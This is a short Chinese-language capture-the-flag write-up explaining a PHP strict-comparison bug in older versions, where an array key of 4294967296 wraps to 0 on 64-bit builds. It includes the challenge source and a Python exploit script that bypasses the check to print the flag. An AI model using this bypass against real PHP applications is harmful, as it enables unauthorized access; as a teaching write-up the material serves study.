漏洞详情
影响版本
5.4.0 - 5.4.43, 5.5.0 - 5.5.26, 5.6.0 - 5.6.10, 7.0.0alpha1
<?php
include("flag.php");
if(empty($_GET['user'])) die(show_source(__FILE__));
$a= strval(time());
$user = ['admin',$a];
if($_GET['user'] === $user &&$_GET['user'][0]!='admin'){
echo $flag;
}
?>
我们直接看漏洞详情,这样比较会直接相等:
var_dump([0 => 0] === [0x100000000 => 0]);
测试发现将0x10000000转换为10进制: 4294967296 ,逻辑依然成立。
上题直接构造exp:
import requests
import time
url ="http://xxxxxx.xx/?user[4294967296]=admin&user[1]="+str(int(time.time()))
result = requests.get(url)
print(url)
print(result.text)
需要注意的是,这个问题只能在64位PHP中复现成功,在32位中会将传入的4294967296解析为字符串导致匹配错误。